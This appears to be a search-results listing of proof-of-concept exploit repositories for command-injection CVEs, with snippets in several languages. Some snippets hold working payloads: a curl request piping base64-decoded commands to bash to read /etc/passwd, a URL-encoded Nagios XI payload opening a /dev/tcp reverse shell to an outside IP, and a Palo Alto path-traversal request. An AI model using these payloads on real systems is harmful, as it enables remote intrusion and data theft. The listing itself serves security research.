89622 matches found
CVE-2026-104019
An OS command injection vulnerability exists in the Studio Space startup validation script of Amazon SageMaker Distribution (versions 2.x < 2.14.12, 3.x < 3.9.12, 4.0.x < 4.0.11, 4.1.x < 4.1.11, 4.2.x < 4.2.8, 4.3.x < 4.3.5, and 4.4.x
CVE-2018-6961
CVE-2018-6961 - 認証不要のコマンドインジェクションの脆弱性 このエクスプロイトはPython2.7で動作します - 他のバージョンではテストされていません 1 依存関係のインストール pip install request pipがインストールされていない場合は、以下を実行 apt-get install python-pip 2 使用方法 python exployt.py --rhost --interface --lhost --lport --function python exploit.py --rhost 1.1.1.1 --interface ge1...
victorian_machinery
Victorian Machinery Victorian Machinery は CVE-2022-30525 の概念実証 PoC エクスプロイトです。この脆弱性は、ゼロタッチプロビジョニングをサポートする Zyxel ファイアウォールに影響する、認証不要かつリモートから利用可能なコマンドインジェクション脆弱性です。Zyxel は 2022 年 4 月 28 日にこの問題の修正をリリースしました。影響を受けることが確認されているモデルは以下のとおりです: USG FLEX 100, 100W, 200, 500, 700 ATP 100, 200, 500, 700, 800...
CVE-2024-24576-PoC---Nim
Windows에서 Nim을 활용한 명령 삽입 취약점 탐구 https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true 다음은 다양한 페이로드를 사용한 Nim 코드 실험 결과를 요약한 표입니다. Payload| execProcessNoQuoteShell| execProcessQuoteShell| execShellCmd ---|---|---|--- nim &calc| 통과하지 않음| 통과하지 않음|...
opentsdb_key_cmd_injection
opentsdbkeycmdinjection OpenTSDB = 2.4.1 のコマンドインジェクション脆弱性 CVE-2023-36812/CVE-2023-25826 を悪用するエクスプロイトで、Fortran で記述されています。 概要 これは、OpenTSDB バージョン 2.4.1 以前のコマンドインジェクション脆弱性 CVE-2023-36812/CVE-2023-25826 に対するエクスプロイトです。このエクスプロイトはモダン Fortran で書かれており、今年初めに作成された公式の Fortran http-client ライブラリ を活用しています。 脆弱性の詳...
eximrce-CVE-2019-10149
eximrce CVE-2019-10149에 대해 exim이 취약한지 테스트하는 간단한 파이썬 소켓 연결입니다. 페이로드는 단순히 /root/lweximtest 파일을 터치합니다. 서버의 응답과 파이썬 소켓 모듈을 제대로 사용하는 방법을 몰라 출력이 느립니다. 속도를 높이는 방법을 배우고 싶습니다. cPanel 상자에서만 테스트했습니다. 의심 서버에서 로컬로 실행합니다. 이는 손상 징후를 확인합니다. curl -s...
CVE-2023-23333
概要: SolarView Compact 6.00 以前には、downloader.php を介して内部制限を回避し、コマンドを実行できるコマンドインジェクションの脆弱性があります。 ベンダー: SolarView Compact 影響を受ける製品: SolarView Compact バージョン: SolarView Compact =ver 6.00 PoC: curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep...
CVE-2019-20197
CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...
CVE-2024-10914
POC - CVE-2024–10914- D-Link NAS の name パラメータにおけるコマンドインジェクションの脆弱性 概要 D-Link DNS-320、DNS-320LW、DNS-325、DNS-340L の 20241028 までのバージョンに脆弱性が見つかりました。これは重大 critical と評価されています。この脆弱性の影響を受けるのは、ファイル /cgi-bin/accountmgr.cgi?cmd=cgiuseradd 内の関数 cgiuseradd です。引数 name の操作により、OS...
CVE-2021-21315-PoC
CVE-2021-21315-systeminformation これは CVE-2021-21315 の Proof of Concept です。この脆弱性は Node.JS 用の System Information ライブラリ（npm パッケージ "systeminformation"）に影響します。npmjs.com/systeminformation "si.inetLatency、si.inetChecksite、si.services、si.processLoad に渡される service パラメータを必ずチェックまたはサニタイズしてください...
CVE-2024-3400
CVE-2024-3400 CVE-2024-3400 Palo Alto OS 명령 주입 다음 HTTP 요청을 전송하세요: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 서...
cve-2021-31630
このスクリプトは、OpenPLC Web Server v3 の脆弱性を自動的に悪用します。 サーバーに対して手動テクニックを使わずに、自動でリバースシェルを作成できます。 CVE-2021-31630 の詳細 Open PLC Webserver v3 のコマンドインジェクションにより、リモートの攻撃者がアプリケーションの「/hardware」ページにある「Hardware Layer Code Box」コンポーネントを介して任意のコードを実行できます。 このスクリプトは、OpenPLC...
CVE-2018-8097
CVE-2018-8097 PoC これは、PyEveライブラリのバージョン0.7.5未満に影響するCVE-2018-8097を実証するシンプルなPython Proof of Conceptスクリプトです。 使い方 usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Target URL where you can use the 'where' filter, e.g...
opsxcq-cve-2016-10033
PHPMailer 5.2.18 リモートコード実行 PHPMailerは世界で最も人気のあるトランスポートクラスであり、推定900万人のユーザーが世界中にいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクト（WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla!など）で使用されています。...
CNVD-C-2019-48814-CNNVD-201904-961
CNVD-C-2019-48814和CNNVD-201904-961 t00ls-ximcx0101氏によるスクリプト提供に感謝します。 CNVD-C-2019-48814 POC Summary 関連リンクは以下の通りです: 清水川崎氏の簡書: https://www.jianshu.com/p/c4982a845f55 安全祖师爺転載: https://dwz.cn/2GQvbUae 環境によってパスが変わる場合があります: デフォルトのアップロードパス:...
CVE-2024-37770
CVE-2024-37770 説明 14Finger v1.1 は、fingerprint機能にリモートコマンド実行（RCE）の脆弱性が含まれていることが発見されました。この脆弱性により、攻撃者は細工されたペイロードを介して任意のコマンドを実行できます。 攻撃ベクトル 認証されていない攻撃者は、シェルメタキャラクタを介してコマンドインジェクションを実行し、リモートサーバーでRCEを引き起こす可能性があります。 詳細 コア機能のフィンガープリントスキャンポイントに、認証されていないリモートコマンド実行の脆弱性があります。...
CVE-2024-7120-Exploit-by-Dark-07x
Raisecom 장비 명령어 삽입 CVE-2024-7120 개념 증명! 개요 RAISECOM 게이트웨이 장비에서 명령어 삽입 취약점이 확인되었으며, MSG1200, MSG2100E, MSG2200 및 MSG2300 모델에 영향을 미칩니다. 이 취약점을 통해 원격 공격자는 웹 인터페이스를 통해 시스템에서 임의의 명령을 실행할 수 있습니다. 문제는 listbaseconfig.php 스크립트의 template 매개변수에 있으며, 인터넷상의 25,112개 이상의 장비에 영향을 미칩니다. ✔ FOFA : title="web user...
DIR-890L-1.20-RCE
D-Link DIR-890L RCE 影響を受けるバージョン：= v1.22B01 Hotfix（最新） ファームウェア：こちら このモデルはライフサイクルの終わりに達しています。これらの製品に関連するリソースは開発を終了し、サポートされなくなりました。 D-Link Systems, Inc. は、これらの製品を廃止し、ファームウェアのアップデートが提供される製品に置き換えることを推奨しています。 脆弱性 このファームウェアには、SetVirtualServerSettings.php 内に getWOLMAC 関数があります。 function getWOLMAC$ipv4addr...
CVE-2019-1010174
CVE-2019-1010174 CImg Library v.2.3.3 - コマンドインジェクション CVE-2019-1010174 詳細 変更済み この脆弱性は、NVDによる最終分析以降に修正されています。現在、再分析が待たれており、その結果、提供されている情報にさらなる変更が生じる可能性があります。 説明 CImg The CImg Library v.2.3.3 以前は、コマンドインジェクションの影響を受けます。影響は: RCE です。コンポーネントは: loadnetwork 関数です。攻撃ベクトルは:...